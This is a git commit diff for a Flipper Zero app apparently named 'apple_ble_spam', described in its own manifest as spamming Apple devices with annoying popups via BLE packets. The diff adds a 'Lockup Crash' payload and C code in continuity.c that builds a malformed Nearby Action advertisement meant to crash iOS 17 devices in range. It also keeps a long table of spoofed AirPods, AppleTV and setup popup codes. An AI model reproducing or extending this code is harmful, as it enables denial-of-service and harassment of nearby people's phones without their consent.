Bläddra i källkod

update apple ble spam with ios 17 crash

MX 2 år sedan
förälder
incheckning
4145b7387a

+ 324 - 305
base_pack/apple_ble_spam/apple_ble_spam.c

@@ -15,45 +15,48 @@ typedef struct {
 
 // Hacked together by @Willy-JL
 // Custom adv logic by @Willy-JL (idea by @xMasterX)
+// iOS 17 Crash by @ECTO-1A
 // Extensive testing and research on behavior and parameters by @Willy-JL and @ECTO-1A
 // Structures docs and Nearby Action IDs from https://github.com/furiousMAC/continuity/
 // Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/
 // Controversy explained at https://willyjl.dev/blog/the-controversy-behind-apple-ble-spam
 
-static Payload payloads[] = {
+static Payload
+    payloads[] =
+        {
 #if false
-            {.title = "AirDrop",
-             .text = "",
-             .random = false,
-             .msg =
-                 {
-                     .type = ContinuityTypeAirDrop,
-                     .data = {.airdrop = {}},
-                 }},
-            {.title = "Airplay Target",
-             .text = "",
-             .random = false,
-             .msg =
-                 {
-                     .type = ContinuityTypeAirplayTarget,
-                     .data = {.airplay_target = {}},
-                 }},
-            {.title = "Handoff",
-             .text = "",
-             .random = false,
-             .msg =
-                 {
-                     .type = ContinuityTypeHandoff,
-                     .data = {.handoff = {}},
-                 }},
-            {.title = "Tethering Source",
-             .text = "",
-             .random = false,
-             .msg =
-                 {
-                     .type = ContinuityTypeTetheringSource,
-                     .data = {.tethering_source = {}},
-                 }},
+    {.title = "AirDrop",
+     .text = "",
+     .random = false,
+     .msg =
+         {
+             .type = ContinuityTypeAirDrop,
+             .data = {.airdrop = {}},
+         }},
+    {.title = "Airplay Target",
+     .text = "",
+     .random = false,
+     .msg =
+         {
+             .type = ContinuityTypeAirplayTarget,
+             .data = {.airplay_target = {}},
+         }},
+    {.title = "Handoff",
+     .text = "",
+     .random = false,
+     .msg =
+         {
+             .type = ContinuityTypeHandoff,
+             .data = {.handoff = {}},
+         }},
+    {.title = "Tethering Source",
+     .text = "",
+     .random = false,
+     .msg =
+         {
+             .type = ContinuityTypeTetheringSource,
+             .data = {.tethering_source = {}},
+         }},
     {.title = "Mobile Backup",
      .text = "",
      .random = false,
@@ -174,279 +177,295 @@ static Payload payloads[] = {
              .type = ContinuityTypeNearbyAction,
              .data = {.nearby_action = {.flags = 0xC0, .type = 0x17}},
          }},
-#endif
-    {.title = "Random Action",
-     .text = "Spam shuffle Nearby Actions",
-     .random = true,
-     .msg =
-         {
-             .type = ContinuityTypeNearbyAction,
-             .data = {.nearby_action = {.flags = 0xC0, .type = 0x00}},
-         }},
-    {.title = "Random Pair",
-     .text = "Spam shuffle Proximity Pairs",
-     .random = true,
-     .msg =
-         {
-             .type = ContinuityTypeProximityPair,
-             .data = {.proximity_pair = {.prefix = 0x00, .model = 0x0000}},
-         }},
-    {.title = "AppleTV AutoFill",
-     .text = "Banner, unlocked, long range",
-     .random = false,
-     .msg =
-         {
-             .type = ContinuityTypeNearbyAction,
-             .data = {.nearby_action = {.flags = 0xC0, .type = 0x13}},
-         }},
-    {.title = "AppleTV Connecting...",
-     .text = "Modal, unlocked, long range",
-     .random = false,
-     .msg =
-         {
-             .type = ContinuityTypeNearbyAction,
-             .data = {.nearby_action = {.flags = 0xC0, .type = 0x27}},
-         }},
-    {.title = "Join This AppleTV?",
-     .text = "Modal, unlocked, spammy",
-     .random = false,
-     .msg =
-         {
-             .type = ContinuityTypeNearbyAction,
-             .data = {.nearby_action = {.flags = 0xBF, .type = 0x20}},
-         }},
-    {.title = "AppleTV Audio Sync",
-     .text = "Banner, locked, long range",
-     .random = false,
-     .msg =
-         {
-             .type = ContinuityTypeNearbyAction,
-             .data = {.nearby_action = {.flags = 0xC0, .type = 0x19}},
-         }},
-    {.title = "AppleTV Color Balance",
-     .text = "Banner, locked",
-     .random = false,
-     .msg =
-         {
-             .type = ContinuityTypeNearbyAction,
-             .data = {.nearby_action = {.flags = 0xC0, .type = 0x1E}},
-         }},
-    {.title = "Setup New iPhone",
-     .text = "Modal, locked",
-     .random = false,
-     .msg =
-         {
-             .type = ContinuityTypeNearbyAction,
-             .data = {.nearby_action = {.flags = 0xC0, .type = 0x09}},
-         }},
-    {.title = "Setup New Random",
-     .text = "Modal, locked, glitched",
-     .random = false,
-     .msg =
-         {
-             .type = ContinuityTypeNearbyAction,
-             .data = {.nearby_action = {.flags = 0x40, .type = 0x09}},
-         }},
-    {.title = "Transfer Phone Number",
-     .text = "Modal, locked",
-     .random = false,
-     .msg =
-         {
-             .type = ContinuityTypeNearbyAction,
-             .data = {.nearby_action = {.flags = 0xC0, .type = 0x02}},
-         }},
-    {.title = "HomePod Setup",
-     .text = "Modal, unlocked",
-     .random = false,
-     .msg =
-         {
-             .type = ContinuityTypeNearbyAction,
-             .data = {.nearby_action = {.flags = 0xC0, .type = 0x0B}},
-         }},
-    {.title = "AirPods Pro",
-     .text = "Modal, spammy (auto close)",
-     .random = false,
-     .msg =
-         {
-             .type = ContinuityTypeProximityPair,
-             .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0E20}},
-         }},
-    {.title = "Beats Solo 3",
-     .text = "Modal, spammy (stays open)",
-     .random = false,
-     .msg =
-         {
-             .type = ContinuityTypeProximityPair,
-             .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0620}},
-         }},
-    {.title = "AirPods Max",
-     .text = "Modal, laggy (stays open)",
-     .random = false,
-     .msg =
-         {
-             .type = ContinuityTypeProximityPair,
-             .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0A20}},
-         }},
-    {.title = "Beats Flex",
-     .text = "Modal, laggy (stays open)",
-     .random = false,
-     .msg =
-         {
-             .type = ContinuityTypeProximityPair,
-             .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1020}},
-         }},
-    {.title = "Airtag",
-     .text = "Modal, unlocked",
-     .random = false,
-     .msg =
-         {
-             .type = ContinuityTypeProximityPair,
-             .data = {.proximity_pair = {.prefix = 0x05, .model = 0x0055}},
-         }},
-    {.title = "Hermes Airtag",
-     .text = "",
-     .random = false,
-     .msg =
-         {
-             .type = ContinuityTypeProximityPair,
-             .data = {.proximity_pair = {.prefix = 0x05, .model = 0x0030}},
-         }},
-    {.title = "Setup New AppleTV",
-     .text = "Modal, unlocked",
-     .random = false,
-     .msg =
-         {
-             .type = ContinuityTypeNearbyAction,
-             .data = {.nearby_action = {.flags = 0xC0, .type = 0x01}},
-         }},
-    {.title = "Pair AppleTV",
-     .text = "Modal, unlocked",
-     .random = false,
-     .msg =
-         {
-             .type = ContinuityTypeNearbyAction,
-             .data = {.nearby_action = {.flags = 0xC0, .type = 0x06}},
-         }},
-    {.title = "HomeKit AppleTV Setup",
-     .text = "Modal, unlocked",
-     .random = false,
-     .msg =
-         {
-             .type = ContinuityTypeNearbyAction,
-             .data = {.nearby_action = {.flags = 0xC0, .type = 0x0D}},
-         }},
-    {.title = "AppleID for AppleTV?",
-     .text = "Modal, unlocked",
-     .random = false,
-     .msg =
-         {
-             .type = ContinuityTypeNearbyAction,
-             .data = {.nearby_action = {.flags = 0xC0, .type = 0x2B}},
-         }},
-    {.title = "AirPods",
-     .text = "Modal, spammy (auto close)",
-     .random = false,
-     .msg =
-         {
-             .type = ContinuityTypeProximityPair,
-             .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0220}},
-         }},
-    {.title = "AirPods 2nd Gen",
-     .text = "Modal, spammy (auto close)",
-     .random = false,
-     .msg =
-         {
-             .type = ContinuityTypeProximityPair,
-             .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0F20}},
-         }},
-    {.title = "AirPods 3rd Gen",
-     .text = "Modal, spammy (auto close)",
-     .random = false,
-     .msg =
-         {
-             .type = ContinuityTypeProximityPair,
-             .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1320}},
-         }},
-    {.title = "AirPods Pro 2nd Gen",
-     .text = "Modal, spammy (auto close)",
-     .random = false,
-     .msg =
-         {
-             .type = ContinuityTypeProximityPair,
-             .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1420}},
-         }},
-    {.title = "Powerbeats 3",
-     .text = "Modal, spammy (stays open)",
-     .random = false,
-     .msg =
-         {
-             .type = ContinuityTypeProximityPair,
-             .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0320}},
-         }},
-    {.title = "Powerbeats Pro",
-     .text = "Modal, spammy (auto close)",
-     .random = false,
-     .msg =
-         {
-             .type = ContinuityTypeProximityPair,
-             .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0B20}},
-         }},
-    {.title = "Beats Solo Pro",
+    {.title = "Nearby Info",
      .text = "",
      .random = false,
      .msg =
          {
-             .type = ContinuityTypeProximityPair,
-             .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0C20}},
-         }},
-    {.title = "Beats Studio Buds",
-     .text = "Modal, spammy (auto close)",
-     .random = false,
-     .msg =
-         {
-             .type = ContinuityTypeProximityPair,
-             .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1120}},
-         }},
-    {.title = "Beats X",
-     .text = "Modal, spammy (stays open)",
-     .random = false,
-     .msg =
-         {
-             .type = ContinuityTypeProximityPair,
-             .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0520}},
-         }},
-    {.title = "Beats Studio 3",
-     .text = "Modal, spammy (stays open)",
-     .random = false,
-     .msg =
-         {
-             .type = ContinuityTypeProximityPair,
-             .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0920}},
-         }},
-    {.title = "Beats Studio Pro",
-     .text = "Modal, spammy (stays open)",
-     .random = false,
-     .msg =
-         {
-             .type = ContinuityTypeProximityPair,
-             .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1720}},
-         }},
-    {.title = "Beats Fit Pro",
-     .text = "Modal, spammy (auto close)",
-     .random = false,
-     .msg =
-         {
-             .type = ContinuityTypeProximityPair,
-             .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1220}},
-         }},
-    {.title = "Beats Studio Buds+",
-     .text = "Modal, spammy (auto close)",
-     .random = false,
-     .msg =
-         {
-             .type = ContinuityTypeProximityPair,
-             .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1620}},
+             .type = ContinuityTypeNearbyInfo,
+             .data = {.nearby_info = {}},
          }},
+#endif
+            {.title = "Lockup Crash",
+             .text = "iOS 17, locked, long range",
+             .random = false,
+             .msg =
+                 {
+                     .type = ContinuityTypeCustomCrash,
+                     .data = {.custom_crash = {}},
+                 }},
+            {.title = "Random Action",
+             .text = "Spam shuffle Nearby Actions",
+             .random = true,
+             .msg =
+                 {
+                     .type = ContinuityTypeNearbyAction,
+                     .data = {.nearby_action = {.flags = 0xC0, .type = 0x00}},
+                 }},
+            {.title = "Random Pair",
+             .text = "Spam shuffle Proximity Pairs",
+             .random = true,
+             .msg =
+                 {
+                     .type = ContinuityTypeProximityPair,
+                     .data = {.proximity_pair = {.prefix = 0x00, .model = 0x0000}},
+                 }},
+            {.title = "AppleTV AutoFill",
+             .text = "Banner, unlocked, long range",
+             .random = false,
+             .msg =
+                 {
+                     .type = ContinuityTypeNearbyAction,
+                     .data = {.nearby_action = {.flags = 0xC0, .type = 0x13}},
+                 }},
+            {.title = "AppleTV Connecting...",
+             .text = "Modal, unlocked, long range",
+             .random = false,
+             .msg =
+                 {
+                     .type = ContinuityTypeNearbyAction,
+                     .data = {.nearby_action = {.flags = 0xC0, .type = 0x27}},
+                 }},
+            {.title = "Join This AppleTV?",
+             .text = "Modal, unlocked, spammy",
+             .random = false,
+             .msg =
+                 {
+                     .type = ContinuityTypeNearbyAction,
+                     .data = {.nearby_action = {.flags = 0xBF, .type = 0x20}},
+                 }},
+            {.title = "AppleTV Audio Sync",
+             .text = "Banner, locked, long range",
+             .random = false,
+             .msg =
+                 {
+                     .type = ContinuityTypeNearbyAction,
+                     .data = {.nearby_action = {.flags = 0xC0, .type = 0x19}},
+                 }},
+            {.title = "AppleTV Color Balance",
+             .text = "Banner, locked",
+             .random = false,
+             .msg =
+                 {
+                     .type = ContinuityTypeNearbyAction,
+                     .data = {.nearby_action = {.flags = 0xC0, .type = 0x1E}},
+                 }},
+            {.title = "Setup New iPhone",
+             .text = "Modal, locked",
+             .random = false,
+             .msg =
+                 {
+                     .type = ContinuityTypeNearbyAction,
+                     .data = {.nearby_action = {.flags = 0xC0, .type = 0x09}},
+                 }},
+            {.title = "Setup New Random",
+             .text = "Modal, locked, glitched",
+             .random = false,
+             .msg =
+                 {
+                     .type = ContinuityTypeNearbyAction,
+                     .data = {.nearby_action = {.flags = 0x40, .type = 0x09}},
+                 }},
+            {.title = "Transfer Phone Number",
+             .text = "Modal, locked",
+             .random = false,
+             .msg =
+                 {
+                     .type = ContinuityTypeNearbyAction,
+                     .data = {.nearby_action = {.flags = 0xC0, .type = 0x02}},
+                 }},
+            {.title = "HomePod Setup",
+             .text = "Modal, unlocked",
+             .random = false,
+             .msg =
+                 {
+                     .type = ContinuityTypeNearbyAction,
+                     .data = {.nearby_action = {.flags = 0xC0, .type = 0x0B}},
+                 }},
+            {.title = "AirPods Pro",
+             .text = "Modal, spammy (auto close)",
+             .random = false,
+             .msg =
+                 {
+                     .type = ContinuityTypeProximityPair,
+                     .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0E20}},
+                 }},
+            {.title = "Beats Solo 3",
+             .text = "Modal, spammy (stays open)",
+             .random = false,
+             .msg =
+                 {
+                     .type = ContinuityTypeProximityPair,
+                     .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0620}},
+                 }},
+            {.title = "AirPods Max",
+             .text = "Modal, laggy (stays open)",
+             .random = false,
+             .msg =
+                 {
+                     .type = ContinuityTypeProximityPair,
+                     .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0A20}},
+                 }},
+            {.title = "Beats Flex",
+             .text = "Modal, laggy (stays open)",
+             .random = false,
+             .msg =
+                 {
+                     .type = ContinuityTypeProximityPair,
+                     .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1020}},
+                 }},
+            {.title = "Airtag",
+             .text = "Modal, unlocked",
+             .random = false,
+             .msg =
+                 {
+                     .type = ContinuityTypeProximityPair,
+                     .data = {.proximity_pair = {.prefix = 0x05, .model = 0x0055}},
+                 }},
+            {.title = "Hermes Airtag",
+             .text = "",
+             .random = false,
+             .msg =
+                 {
+                     .type = ContinuityTypeProximityPair,
+                     .data = {.proximity_pair = {.prefix = 0x05, .model = 0x0030}},
+                 }},
+            {.title = "Setup New AppleTV",
+             .text = "Modal, unlocked",
+             .random = false,
+             .msg =
+                 {
+                     .type = ContinuityTypeNearbyAction,
+                     .data = {.nearby_action = {.flags = 0xC0, .type = 0x01}},
+                 }},
+            {.title = "Pair AppleTV",
+             .text = "Modal, unlocked",
+             .random = false,
+             .msg =
+                 {
+                     .type = ContinuityTypeNearbyAction,
+                     .data = {.nearby_action = {.flags = 0xC0, .type = 0x06}},
+                 }},
+            {.title = "HomeKit AppleTV Setup",
+             .text = "Modal, unlocked",
+             .random = false,
+             .msg =
+                 {
+                     .type = ContinuityTypeNearbyAction,
+                     .data = {.nearby_action = {.flags = 0xC0, .type = 0x0D}},
+                 }},
+            {.title = "AppleID for AppleTV?",
+             .text = "Modal, unlocked",
+             .random = false,
+             .msg =
+                 {
+                     .type = ContinuityTypeNearbyAction,
+                     .data = {.nearby_action = {.flags = 0xC0, .type = 0x2B}},
+                 }},
+            {.title = "AirPods",
+             .text = "Modal, spammy (auto close)",
+             .random = false,
+             .msg =
+                 {
+                     .type = ContinuityTypeProximityPair,
+                     .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0220}},
+                 }},
+            {.title = "AirPods 2nd Gen",
+             .text = "Modal, spammy (auto close)",
+             .random = false,
+             .msg =
+                 {
+                     .type = ContinuityTypeProximityPair,
+                     .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0F20}},
+                 }},
+            {.title = "AirPods 3rd Gen",
+             .text = "Modal, spammy (auto close)",
+             .random = false,
+             .msg =
+                 {
+                     .type = ContinuityTypeProximityPair,
+                     .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1320}},
+                 }},
+            {.title = "AirPods Pro 2nd Gen",
+             .text = "Modal, spammy (auto close)",
+             .random = false,
+             .msg =
+                 {
+                     .type = ContinuityTypeProximityPair,
+                     .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1420}},
+                 }},
+            {.title = "Powerbeats 3",
+             .text = "Modal, spammy (stays open)",
+             .random = false,
+             .msg =
+                 {
+                     .type = ContinuityTypeProximityPair,
+                     .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0320}},
+                 }},
+            {.title = "Powerbeats Pro",
+             .text = "Modal, spammy (auto close)",
+             .random = false,
+             .msg =
+                 {
+                     .type = ContinuityTypeProximityPair,
+                     .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0B20}},
+                 }},
+            {.title = "Beats Solo Pro",
+             .text = "",
+             .random = false,
+             .msg =
+                 {
+                     .type = ContinuityTypeProximityPair,
+                     .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0C20}},
+                 }},
+            {.title = "Beats Studio Buds",
+             .text = "Modal, spammy (auto close)",
+             .random = false,
+             .msg =
+                 {
+                     .type = ContinuityTypeProximityPair,
+                     .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1120}},
+                 }},
+            {.title = "Beats X",
+             .text = "Modal, spammy (stays open)",
+             .random = false,
+             .msg =
+                 {
+                     .type = ContinuityTypeProximityPair,
+                     .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0520}},
+                 }},
+            {.title = "Beats Studio 3",
+             .text = "Modal, spammy (stays open)",
+             .random = false,
+             .msg =
+                 {
+                     .type = ContinuityTypeProximityPair,
+                     .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0920}},
+                 }},
+            {.title = "Beats Studio Pro",
+             .text = "Modal, spammy (stays open)",
+             .random = false,
+             .msg =
+                 {
+                     .type = ContinuityTypeProximityPair,
+                     .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1720}},
+                 }},
+            {.title = "Beats Fit Pro",
+             .text = "Modal, spammy (auto close)",
+             .random = false,
+             .msg =
+                 {
+                     .type = ContinuityTypeProximityPair,
+                     .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1220}},
+                 }},
+            {.title = "Beats Studio Buds+",
+             .text = "Modal, spammy (auto close)",
+             .random = false,
+             .msg =
+                 {
+                     .type = ContinuityTypeProximityPair,
+                     .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1620}},
+                 }},
 };
 
 #define PAYLOAD_COUNT ((signed)COUNT_OF(payloads))
@@ -667,10 +686,10 @@ static void draw_callback(Canvas* canvas, void* ctx) {
             48,
             AlignLeft,
             AlignTop,
-            "App+spam by \e#WillyJL\e# XFW\n"
-            "Pair codes by \e#ECTO-1A\e#\n"
-            "BLE docs by \e#furiousMAC\e#\n"
-            "                        Version \e#1.1\e#",
+            "App+Spam by \e#WillyJL\e# XFW\n"
+            "IDs and Crash by \e#ECTO-1A\e#\n"
+            "Continuity by \e#furiousMAC\e#\n"
+            "                                   Version \e#1.2\e#",
             false);
         break;
     default: {

+ 1 - 1
base_pack/apple_ble_spam/application.fam

@@ -15,6 +15,6 @@ App(
     ],
     fap_author="@Willy-JL & @ECTO-1A",
     fap_weburl="https://github.com/Flipper-XFW/Xtreme-Firmware/tree/dev/applications/external/apple_ble_spam",
-    fap_version="1.1",
+    fap_version="1.2",
     fap_description="Spam Apple devices with annoying popups and notifications via BLE packets",
 )

+ 45 - 10
base_pack/apple_ble_spam/lib/continuity/continuity.c

@@ -1,8 +1,10 @@
 #include "continuity.h"
 #include <furi_hal_random.h>
+#include <core/core_defines.h>
 
 // Hacked together by @Willy-JL
 // Custom adv logic by @Willy-JL (idea by @xMasterX)
+// iOS 17 Crash by @ECTO-1A
 // Extensive testing and research on behavior and parameters by @Willy-JL and @ECTO-1A
 // Structures docs and Nearby Action IDs from https://github.com/furiousMAC/continuity/
 // Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/
@@ -15,18 +17,23 @@ static const char* continuity_type_names[ContinuityTypeCount] = {
     [ContinuityTypeHandoff] = "Handoff",
     [ContinuityTypeTetheringSource] = "Tethering Source",
     [ContinuityTypeNearbyAction] = "Nearby Action",
+    [ContinuityTypeNearbyInfo] = "Nearby Info",
+    [ContinuityTypeCustomCrash] = "Custom Packet",
 };
 const char* continuity_get_type_name(ContinuityType type) {
     return continuity_type_names[type];
 }
 
+#define HEADER_LEN (6) // 1 Length + 1 ? + 2 Company ID + 1 Continuity Type + 1 Continuity Length
 static uint8_t continuity_packet_sizes[ContinuityTypeCount] = {
-    [ContinuityTypeAirDrop] = 24,
-    [ContinuityTypeProximityPair] = 31,
-    [ContinuityTypeAirplayTarget] = 12,
-    [ContinuityTypeHandoff] = 20,
-    [ContinuityTypeTetheringSource] = 12,
-    [ContinuityTypeNearbyAction] = 11,
+    [ContinuityTypeAirDrop] = HEADER_LEN + 18,
+    [ContinuityTypeProximityPair] = HEADER_LEN + 25,
+    [ContinuityTypeAirplayTarget] = HEADER_LEN + 6,
+    [ContinuityTypeHandoff] = HEADER_LEN + 14,
+    [ContinuityTypeTetheringSource] = HEADER_LEN + 6,
+    [ContinuityTypeNearbyAction] = HEADER_LEN + 5,
+    [ContinuityTypeNearbyInfo] = HEADER_LEN + 5,
+    [ContinuityTypeCustomCrash] = HEADER_LEN + 11,
 };
 uint8_t continuity_get_packet_size(ContinuityType type) {
     return continuity_packet_sizes[type];
@@ -37,11 +44,11 @@ void continuity_generate_packet(const ContinuityMsg* msg, uint8_t* packet) {
     uint8_t i = 0;
 
     packet[i++] = size - 1; // Packet Length
-    packet[i++] = 0xFF; // Packet Header
-    packet[i++] = 0x4C; // ...
+    packet[i++] = 0xFF; // Packet Type (Manufacturer Specific)
+    packet[i++] = 0x4C; // Packet Company ID (Apple, Inc.)
     packet[i++] = 0x00; // ...
-    packet[i++] = msg->type; // Type
-    packet[i] = size - i - 1; // Message Length
+    packet[i++] = msg->type; // Continuity Type
+    packet[i] = size - i - 1; // Continuity Length
     i++;
 
     switch(msg->type) {
@@ -124,6 +131,34 @@ void continuity_generate_packet(const ContinuityMsg* msg, uint8_t* packet) {
         i += 3;
         break;
 
+    case ContinuityTypeNearbyInfo:
+        packet[i++] = ((rand() % 16) << 4) + (rand() % 16); // Status Flags and Action Code
+        packet[i++] = (rand() % 256); // Status Flags
+        packet[i++] = (rand() % 256); // Authentication Tag
+        packet[i++] = (rand() % 256); // ...
+        packet[i++] = (rand() % 256); // ...
+        break;
+
+    case ContinuityTypeCustomCrash:
+        // Found by @ECTO-1A
+
+        i -= 2; // Override segment header
+        packet[i++] = ContinuityTypeNearbyAction; // Type
+        packet[i++] = 0x05; // Length
+        packet[i++] = 0xC1; // Action Flags
+        const uint8_t types[] = {0x27, 0x09, 0x02, 0x1e, 0x2b, 0x2d, 0x2f, 0x01, 0x06, 0x20, 0xc0};
+        packet[i++] = types[rand() % COUNT_OF(types)]; // Action Type
+        furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag
+        i += 3;
+
+        packet[i++] = 0x00; // ???
+        packet[i++] = 0x00; // ???
+
+        packet[i++] = ContinuityTypeNearbyInfo; // Type ???
+        furi_hal_random_fill_buf(&packet[i], 3); // Shenanigans (Length + IDK) ???
+        i += 3;
+        break;
+
     default:
         break;
     }

+ 8 - 0
base_pack/apple_ble_spam/lib/continuity/continuity.h

@@ -5,6 +5,7 @@
 
 // Hacked together by @Willy-JL
 // Custom adv logic by @Willy-JL (idea by @xMasterX)
+// iOS 17 Crash by @ECTO-1A
 // Extensive testing and research on behavior and parameters by @Willy-JL and @ECTO-1A
 // Structures docs and Nearby Action IDs from https://github.com/furiousMAC/continuity/
 // Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/
@@ -17,6 +18,9 @@ typedef enum {
     ContinuityTypeHandoff = 0x0C,
     ContinuityTypeTetheringSource = 0x0E,
     ContinuityTypeNearbyAction = 0x0F,
+    ContinuityTypeNearbyInfo = 0x10,
+
+    ContinuityTypeCustomCrash,
     ContinuityTypeCount
 } ContinuityType;
 
@@ -37,6 +41,10 @@ typedef union {
         uint8_t flags;
         uint8_t type;
     } nearby_action;
+    struct {
+    } nearby_info;
+    struct {
+    } custom_crash;
 } ContinuityData;
 
 typedef struct {